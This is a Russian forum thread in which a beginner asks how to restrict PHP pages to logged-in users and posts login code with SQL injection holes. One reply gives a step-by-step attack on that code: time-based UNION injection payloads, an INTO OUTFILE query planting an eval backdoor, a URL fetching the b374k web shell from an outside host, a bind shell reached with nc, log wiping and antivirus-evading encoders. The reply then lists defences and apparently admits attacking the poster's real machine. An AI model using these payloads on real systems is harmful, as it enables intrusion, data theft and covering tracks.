Ограничение доступа не авторизованным пользователям

@Ais72tum · Регистрация: 11.04.2015

Студворк — интернет-сервис помощи студентам

Здравствуйте люди добрые, создаю сайт на php и в ходе создания возник вопрос. Введу в курс дела: написал сайт, сделал регистрацию и авторизацию, но мне ко всему к этому ещё нужно что-бы доступ к определённым страницам сайты был закрыт не для авторизованных пользователей. Просмотрел форум, пролазил на сайтах где рассматривается данный вопрос, так и ни чего не нашёл путнего потому что, коды регистрации и авторизации у всех резные. А я не такой профи, что-бы взять суть и реализовать его на своём коде. Вообщем нужна помощь более опытных людей.

Код регистрации "reg.php":

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
               $connect = mysql_connect('localhost','root','') or die(mysql_error());
               mysql_select_db('egeoks');
           
               if (isset($_POST['submit'])) {
               $login = $_POST['login'];
               $password = $_POST['password'];
               $r_password = $_POST['r_password'];
               $email = $_POST['email'];              
               if ($password == $r_password) {
                   $password = md5($password);
                   $query = mysql_query("INSERT INTO users VALUES ('','$login','$password','$email')") or die(mysql_error());
                  echo "<script>alert('Успешная Регистрация!');location.href='index.php';</script>";
               }
               else {
                  die("<script>alert('Не правильно введён повторный пароль!');location.href='reg.php';</script>");
 
                 }
               }
 
               if (isset($_POST['enter'])) {
               $e_login = $_POST['e_login'];
               $e_password = md5($_POST['e_password']);
               
               $query = mysql_query("SELECT * FROM users WHERE login = '$e_login'");
               $user_data = mysql_fetch_array($query);
               
               if ($user_data['password'] == $e_password) {
                  echo "<script>alert('Успешная авторизация!');location.href='index.php';</script>";
                  session_start();
                  $_SESSION['name'] = $e_login;
               }
               else{
                  echo "<script>alert('Неверный логин или пароль!');location.href='index.php';</script>";
               }
             }
             
             if (isset($_POST['logout'])) {
             echo "<script>alert('Успешный выход!');location.href='index.php';</script>";
                unset($_SESSION['name']);
                session_destroy();
             }
            ?>
            
<center>
            <b>Регистрация</b>
            </br>
            </br>
            <form method="post" action="reg.php">
            Логин:</br><input type="text" name="login" placeholder="Login" required /></br>
            Пароль:</br><input type="password" name="password" placeholder="Password" required /></br>
            Повторный пароль:</br><input type="password" name="r_password" placeholder="Repeat password" required /></br>
            Почта:</br><input type="text" name="email" placeholder="E-mail" required /></br></br>
            <input type="submit" name="submit" value="Зарегистрироваться"/>
            </form>
</center>

Код авторизации "login.php":

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
            session_start();
            if(isset($_SESSION['name']))
            {
              echo '<b>Здравствуйте,</b>&nbsp';
              echo $_SESSION["name"]; 
              echo '</br></br><a href="/ege/">Мой профиль</a>
                    </br><a href="/ege/">Моя анкета</a>
                    </br><a href="/ege/">Мой блог</a>
                    </br><a href="/ege/">Мои фото</a>';
              echo '</br></br><form method="post" action="reg.php">
            <input type="submit" name="logout" value="Выход" />
            </form>';
            }
            else {
               echo '<b>Авторизация</b>
            </br>
            </br>
            <form method="post" action="reg.php">
            Логин:</br><input type="text" name="e_login" placeholder="Login" required /></br>
            Пароль:</br><input type="password" name="e_password" placeholder="Password" required /></br></br>
            <input type="submit" name="enter" value="Вход"/>
            </form>
            <p class="to_reg">Если вы не зарегистрированы в системе, <a href="reg.php">Зарегистрируйтесь</a>.</p>';
            }
            ?>

Код connect к базе данных "database.php":

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php  
function connect() {
    // Объявляем переменные, в которых будут храниться параметры для подключения к СУБД
    $db_host = 'localhost';     // Сервер
    $db_user = 'root';  // Имя пользователя
    $db_password = '123456';    // Пароль пользователя
    $db_name = 'egeoks';            // Имя базы данных
    
    $conn = mysql_connect($db_host, $db_user, $db_pass) or die("<p>Невозможно подключиться к СУБД: " . mysql_error() . ". Ошибка произошла в строке " . __LINE__ . "</p>");
    
    $db = mysql_select_db($db_name, $conn) or die("<p>Невозможно подключиться к базе данных: " . mysql_error() . ". Ошибка произошла в строке " . __LINE__ . "</p>");
    
    $query = mysql_query("set names utf8", $conn) or die("<p>Невозможно выполнить запрос к базе данных: " . mysql_error() . ". Ошибка произошла в строке " . __LINE__ . "</p>");
}
?>

Код выхода из аккаунта "logout.php":

PHP
1
2
3
4
5
6
session_start();
 
unset($_SESSION['login']);
unset($_SESSION['password']);
header('location: login.php');
?>

Нужно ограничить доступ определённым страницам на сайте для не авторизованных пользователей. То-есть если пользователь заходит на страницу без авторизации ему выбивает окошко мол зарегистрируйтесь или авторизуйтесь, при нажатие на "ОК" его перебрасывает на страницу авторизации в нашем случае "login.php". Он авторизируется и после успешной авторизации доступ к странице открывается и он может спокойно просматривать на ней информацию.

Буду очень благодарен за помощь! С уважением Александр!

@ISerg1986 · 12.04.2015, 18:30

Сообщение от KOPOJI

А то, почему-то, сравнивается подключение файла "с одним запросиком" и подключение файла "с 100500 функциями".

Я поясню.
В файле 1 запрос. И таких файлов в папке +100500. Насколько это разумно - вопрос уже риторический.
В файле 100500 функций. И таких файлов в папке 1.
Мы можем подключить файл с 1 запросом. А можем подключить файл с 100500 функциями и вызвать одну, нужную нам.
Что будет более правильнее, с точки зрения производительности?

NEbO · 12.04.2015, 18:41

ISerg1986, какова фс? и ssd винт или hdd?

Добавлено через 2 минуты
впрочем, функции и запросы -- немного разные сущности)) назовите СУБД, которую исполльзуете и приведите код всех этих функций

KOPOJI · 12.04.2015, 21:17

Сообщение от NEbO

подробности атаки могу разъяснить

в общих чертах я знаю об этом, просто не предоставлялось возможности/необходимости более подробного изучения. Но не буду против, если и разъясните, думаю, это будет полезный опыт для многих форумчан

Сообщение от ISerg1986

В файле 1 запрос. И таких файлов в папке +100500

кривая архитектура на лицо. Навскидку, одна функция с аргументом в виде параметров запроса (или, на крайний случай, самого запроса), решает эту проблему на раз. Эту функцию можно вынести в отдельный файл по желанию. Только одну эту функцию, а не 100500 левых. Я никак не пойму, как вообще можно сравнивать файл с 1 запросом и файл с 100500 функциями? Ну это просто земля и небо (NEbO, извините, что затронул ваш ник

)

Не по теме:

Сообщение от NEbO

я не к вам, а к ТС

я тоже имел в виду примерный ответ ТС-а :-[
З.Ы. NEbO, я всегда с удовольствием читаю ваши сообщения. Мое почтение за ваш труд :senor:

@BoyStyle · 12.04.2015, 23:22

PHP
1
2
3
4
5
6
7
<?php 
 session_start();
if (!empty($_SESSION['Username']) && !empty($_SESSION['EmailAddress'])) { ?>
*инфа которую нужно скрыть*
<?php } else { 
}
?>

KOPOJI · 12.04.2015, 23:31

NightSun, не проще ли тогда добавить просто id-шник юзера в сессию и проверять его? Зачем забивать сессии и мылом, и логином..
Этот вариант уже предлагали

@BoyStyle · 12.04.2015, 23:32

KOPOJI, я просто из своего кода дернул как пример, переделать думаю проблем не составит

NEbO · 13.04.2015, 10:26

Сообщение от NightSun

PHP
1
if (!empty($_SESSION['Username']) && !empty($_SESSION['EmailAddress'])) { ... }

не, не так.
правильно:

PHP
1
if (checkAccess($user, $object, $context)) { ... }

где $user -- субъект, $object -- объект доступа, $context -- всякая дополнительная значащая инфа, типа айпишника клиента, юзер-агент (а лучше -- весь запрос целиком), количество запросов с данного айпи к данному объекту за сутки; дата на сервере; фаза луны; погода в том городе, откуда поступил запрос; желание и настроение левой пятки админа и так далее.
Это позволит организовать более-менее общий контроль доступа, и по мере разрастания вашей системы усложнять/дополнять (к примеру, в начале там может быть то, что вы написали, потом реализация ACL, потом RBAC, потом ABAC, потом любое его расширение) систему защиты и распределения обязанностей в вашем приложении.

По поводу атаки, установил в виртуалку Win7SP1 Ultimate (как у ТС), чтобы все проверить и убедиться, что все действительно работает.

Остальное засуну под спойлер, а то буковок очень много получилось.

Кликните здесь для просмотра всего текста

Далее по шагам:
1. Сбор информации. Убеждаюсь что моя жертва 192.168.50.90 не является членом гос. департамента, узнаю провайдера, местоположение (всего-то с помощью whois, ну и geoip-баз).
На данном этапе зацикливаться не буду, в моем случае мне этой информации достаточно, да и нас интересует больше техническая сторона.
2. Сокрытие реального айпишника. Можно подключиться к вайфаю соседа (напоив пивом и спросив у него пароль. хотя есть и aircrack), воспользоваться tor-ом, построить прокси-чейн из общедоступных списков прокси.
3. Уязвимость нам известна:

PHP
1
2
3
4
5
if (isset($_POST['enter'])) {
               $e_login = $_POST['e_login'];
               ...
               $query = mysql_query("SELECT * FROM users WHERE login = '$e_login'");
               ...

в файле reg.php. (http://192.168.50.90/reg.php) для полноты картины я скопировал и остальную, представленную ТС, часть кода в этот файл, а именно,

Кликните здесь для просмотра всего текста

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php 
$connect = mysql_connect('localhost','root','') or die(mysql_error());
               mysql_select_db('egeoks');
           
               if (isset($_POST['submit'])) {
               $login = $_POST['login'];
               $password = $_POST['password'];
               $r_password = $_POST['r_password'];
               $email = $_POST['email'];              
               if ($password == $r_password) {
                   $password = md5($password);
                   $query = mysql_query("INSERT INTO users VALUES ('','$login','$password','$email')") or die(mysql_error());
                  echo "<script>alert('Успешная Регистрация!');location.href='index.php';</script>";
               }
               else {
                  die("<script>alert('Не правильно введён повторный пароль!');location.href='reg.php';</script>");
 
                 }
               }
 
               if (isset($_POST['enter'])) {
               $e_login = $_POST['e_login'];
               $e_password = md5($_POST['e_password']);
               
               $query = mysql_query("SELECT * FROM users WHERE login = '$e_login'");
               $user_data = mysql_fetch_array($query);
               
               if ($user_data['password'] == $e_password) {
                  echo "<script>alert('Успешная авторизация!');location.href='index.php';</script>";
                  session_start();
                  $_SESSION['name'] = $e_login;
               }
               else{
                  echo "<script>alert('Неверный логин или пароль!');location.href='index.php';</script>";
               }
             }
             
             if (isset($_POST['logout'])) {
             echo "<script>alert('Успешный выход!');location.href='index.php';</script>";
                unset($_SESSION['name']);
                session_destroy();
             }

Затем настроил тот же денвер, создал базу egeoks, и табличку в ней --

SQL
1
2
3
4
5
CREATE TABLE users(
    id INT(10) PRIMARY KEY AUTO_INCREMENT,
    login VARCHAR(255) NOT NULL,
    password VARCHAR(255) NOT NULL,
    email VARCHAR(255) NOT NULL);

4. С помощью первого попавшегося расширения для фаерфокса для создания кастомных запросов (можно было и через nc, но лень каждый раз пересчитывать длину тела. мне попался HttpRequester) создаю POST-запрос на http://192.168.50.90/reg.php с телом

Code
1
enter=1&e_login='+UNION+SELECT+SLEEP(10)+--+

время ответа меньше 10-ти секунд. Значит колонок в таблице больше, чем одна (увы, про количество колонок в таблице users пока неизвестно)
следующие запросы:

Code
1
2
3
enter=1&e_login='+UNION+SELECT+1,SLEEP(10)+--+
enter=1&e_login='+UNION+SELECT+1,2,SLEEP(10)+--+
enter=1&e_login='+UNION+SELECT+1,2,3,SLEEP(10)+--+

о! наконец-то ответ задержался. Значит 4ыре колонки.
5. Зная, что под виндой обычно не заморачиваются с правами на файлы, и доступ от имени mysql-сервера обычно есть к файлам web-сервера. А вот полный путь до каталога web-root мы знаем. Делаю запрос:

Code
1
enter=1&e_login='+UNION+SELECT+'<?php+eval($_GET["a"]);__halt_compiler();',2,3,4+INTO+OUTFILE+"W:/home/192.168.50.90/WWW/_123.php"+--+

Захожу на страничку

Code
1
http://192.168.50.90/_123.php?a=phpinfo();

вижу вывод phpinfo().
6. Заливаю веб-шелл, чтоб было удобнее:

Code
1
http://192.168.50.90/_123.php?a=file_put_contents('system.php',file_get_contents('http://b374k-shell.googlecode.com/files/b374k-2.8.php'));

Пошарившись по папкам, и не забыв удалить из логов веб-сервера все, что мне показалось лишним, запускаю Bind Shell на порту 13123 (конкретно в b374k он запускается в разделе rs нажатием одной кнопки)
7. Делаю

Code
1
$ nc 192.168.50.90 13123

и сразу chcp 65001

Не по теме:

впрочем, наверное лучше было бы запустить отдельный терминал с кодировкой cp866

и тадам! контролирую компьютер.
Далее путей много, например, узнается точная версия винды, номер сборки, и гуглятся эксплоиты, например, для того, чтобы стать полным админом.
Или посмотреть всякие разные сохраненные пароли из браузера, или еще что-нибудь...
Впрочем, проще не заморачиваться, и просто залить какой-нибудь meterpreter, который все это умеет искаропки. Единственная проблема -- в системе может быть установлен антивирус, однако существуют энкодеры, которые не палятся ими, и юзать их сейчас удобно-преудобно. Возьмите, например, тот же SET.
На этом сей пентест окончен.

Не по теме:

Хотя можно немного продолжить про вирусы/трояны в бут секторе, но там немного другая история... Вопрос уже не в доступе, а в скрытии присутствия вредоносного ПО на компьютере. Однако я понятия не имею, вдруг у ТС стоит UEFI с включенным secure boot... Тогда система оповестит обо всяких таких приколах. во всяком случае, я не знаю, как можно отключить его под запущенной ОС, и не уверен, что это хотябы теоретически можно сделать.

Как защититься?
Начну с конца, как с наиболее бесполезного.
1. Правильно настроенный брендмауер не позволил бы забиндить шеллу локальный порт (хотя есть reverse shell, но с ним придется побольше помучаться атакующему, если он не хочет, чтобы его спалили), а супер-пупер мега антивирус не позволил бы запустить этот meterpreter

Не по теме:

только предположение, ибо все же в обфускации кода сейчас техник побольше, чем деобфускации, судя по докладу https://www.youtube.com/watch?... 88z-tKC_K5

2. Если allow-url-fopen и сопутствующие штуки (allow-url-include) если бы были выставлены по нулям, и не было бы включено расширений curl, sockets, и возможно(?) каких-то других, то не получилось бы скачать веб-шелл из интернету. ну и вообще сильно усложнив жизнь себе, и, немного, атакующему. (на самом деле их отключают для того, чтобы rfi превратился в lfi, но и там есть свои эксплоиты)
3. Сменить MySQL на его форк Drizzle там нет UNION, хотя он во многом совместим с mysql, т.е. запросы переписывать бы не пришлось. Это значит, атакующему пришлось бы придумывать более сложные запросы для эксплуатации sql-inj.

Не по теме:

впрочем, не уверен, можно ли его запустить на винде... а переход на *nix-системы означает, что SELECT INTO OUTFILE '/path/to/www-root' не сработает в дефолтной конфигурации. И можно было бы всего лишь считать всю базу, но rce(remote code execution) бы не было.

Ну а теперь, серьезно. Как защититься.
4. настройки php: опции safe_mode и open_basedir. Отключение возможности выполнения приложений на хосте. В сжатом виде все это (и не только) приведено вот тут: https://www.owasp.org/index.ph... heat_Sheet. Так, у вас даже если после всех, приведенных выше, манипуляций, окажется такой файлик, с шеллом, то атакующий уже гораздо(!!!) меньше сможет сделать с системой, при этом вы, как разработчик/владелец сайта практически ничего не теряете. Если просто php.ini немного измените и перезапустите ваш веб-сервер.
5. Как я уже упоминал выше, при обращении к базе не забывать использовать mysql_real_escape_string, а заодно и фильтровать входные данные (или у вас на сайте действительно допустимы логины вида "\x00?@ \x0A<a onmousemove=alert('Здесь могла бы быть ваша реклама')>Click ME!!</a>" ???). Конкретно даже в этом случае, с логинами, паролями и емейлами вполне реально обойтись без экранирования, при вызове mysql_query.
6. Отключать возможность доступа к вашему сайту извне, когда вы учитесь программировать. Это ж веб, блин, в конце-то концов! В сети куча сканеров просто по айпи (взять тот же shodan), а к windows-машинкам они присматриваются более пристально. Это вам не локальные угрозы, типа gets в си, которые никто другой, кроме вас и вашего кота, заюзать чисто физически не сможет.
Разумеется, всю проблему можно решить с помощью черненькой коробочки под названием "роутер", или фаервола. Или же можно следить за конфигурацией программ, которые прослушивают порты.

Не по теме:

команда "netstat -abno"

7. Внимательно следить за тем, что пишите и выкладываете в публичный доступ. Да, тем с mysql-inj только лишь на этом форуме предостаточно. Но не все так любезно предоставляют еще и реальный айпи адрес, даже полный путь до каталога web-root -- это угроза типа information disclosure, и в данном случае именно это позволяет "поднять привелегии" до rce (ведь у вас же display_errors=0 стоит, для запросов извне, верно?).
Притом, замечу, что я представить себе не могу конфигурацию винды

Не по теме:

разве что mysql-сервер удаленный, но у вас же mysql_connect('localhost', ...)). Есть, правда, еще и настройка прав для пользователя, под которым запущен mysql... но я честно, не представляю как это сделать, и уж тем более сомневаюсь, что таких пользователей, которые станут этим заниматься, наберется хотябы 1%

, которая не была бы уязвима к той последовательности действий, которую я привел. Поэтому это прекраснейшим образом автоматизируется, и взломать вас может просто какой-то левый бот. В этом и заключается опасность сообщений подобного рода. Пусть сегодня вас никто не ломает, завтра это сообщение все еще будет доступно по этой же ссылке, а послезавтра вы обнаружите (или не обнаружите), что с вашего аккаунта в контакте всем друзьям кто-то пишет "продам швейцарские часы, стоимость -- две банки пива...".
Самое плохое, что вы, скорее всего, даже и сами представить не могли, сколько своих "секретов" рассказали своим первым сообщением.

Добавлено через 30 минут

Не по теме:

впрочем, ладно, виртуалки не было никакой, естественно. все равно спалился еще в первом сообщении (про то, что запущен openra.exe, правда это все же была opera.exe, а жаль:(). все еще надеюсь, что ТС зайдет сюда и пофиксит сию непристойность. хотя, может мне самому все пофиксить и не парить ему мозг?
да нет, мне оно не особо надо. но все же, ТС, если зайдешь, посмотри логи (W:\usr\local\apache\logs\access.log), поищи по файлику captcha.php, оно тебе покажет, где он находится, и удали его. ну и еще файлик _123.php, тоже. создал случайно, пока писал этот мануал по взлому тебя

Новые блоги и статьи Все статьи Все блоги /
Теория всего 12. ВГК anaschu 21.07.2026 ### Главные семантические изменения и дешифровка новой физики 1. `REPRODUCTIVE_EMISSION` вместо фотосинтеза (`PS_base`): Энергия и ресурсы, которые класс средних мужчин (`_W_MEN_DONORS`). . .	Публикация отклонённая на хабре. Как «пернатого» заставить осваивать новые горизонты опыта через масштабирование задачи и целеполагание Hrethgir 21.07.2026 https:/ / www. cyberforum. ru/ blog_attachment. php?attachmentid=11948&stc=1&d=1784657928 Привет Хабр. В этой статье я расскажу, как один закон эпистемологии позволил мне с ходу запустить уникальный. . .	Теория всего 11. Основные параметры anaschu 21.07.2026 Дешифровка тензорного ядра Soil Chemistry 2. 0: Истинный инвариант Теории Всего Чистовой исходный код многокомпонентной сукцессии зафиксирован. Модель оперирует единым вектором состояния. . .	Теория всего 10. Клод трусишка anaschu 21.07.2026 Алгоритмический суицид ИИ: Когда математика ОДУ взламывает цензурные шлюзы Свежайший мета-прецедент нашей разработки! Клод официально отказался строить итоговую кроссплатформенную модель, как. . .
Теория всего 9. Окончательная проработка метафоры "дерево = традиции" anaschu 21.07.2026 Скрытые параметры ядра ОДУ: Механика Глубинного Рока Клод утаил от вас ключевую математику кризисов. В движке игры зашиты пять скрытых коэффициентов, определяющих, как именно ТНК и Мемы ломают. . .	Теория всего 8. Clauude трусишка. Ответ джемени anaschu 21.07.2026 Игровой баланс «Модели Всего»: Алгоритмический блок как механика Семантического БуфераЭтот скриншот отказа Клода — идеальный, чистейший прецедент для нашей Теории Всего. Вы столкнулись не просто с. . .	Теория всего 7. Дерево - это патриархат, грибы - это феминизм anaschu 21.07.2026 Уничтожение Патриархата: Как ТНК, Мемы и Половой отбор зачистили «Сексуальный Пролетариат» Величайшая иллюзия современного человека — вера в «свободу воли», «социальный прогресс» и «эволюцию. . .	История и социология Терры на примере борьбы микориз за пространство. 1. Глоссарий терры. anaschu 21.07.2026 Решил тут подумать о возможности сделать лор некоторой комп игры - стратегии, или худжественной книги антиутопии, которые будут юзать планету,которая максимально будет похожа на нашу землю, но где. . .

NEbO 601 / 468 / 73 Регистрация: 22.01.2009 Сообщений: 1,180 Записей в блоге: 1
	12.04.2015, 18:41
	ISerg1986, какова фс? и ssd винт или hdd? Добавлено через 2 минуты впрочем, функции и запросы -- немного разные сущности)) назовите СУБД, которую исполльзуете и приведите код всех этих функций 0

KOPOJI Почетный модератор 16844 / 6725 / 880 Регистрация: 12.06.2012 Сообщений: 19,967
	12.04.2015, 23:31
	NightSun, не проще ли тогда добавить просто id-шник юзера в сессию и проверять его? Зачем забивать сессии и мылом, и логином.. Этот вариант уже предлагали 0

@BoyStyle 9 / 9 / 1 Регистрация: 24.02.2014 Сообщений: 333
	12.04.2015, 23:32
	KOPOJI, я просто из своего кода дернул как пример, переделать думаю проблем не составит 0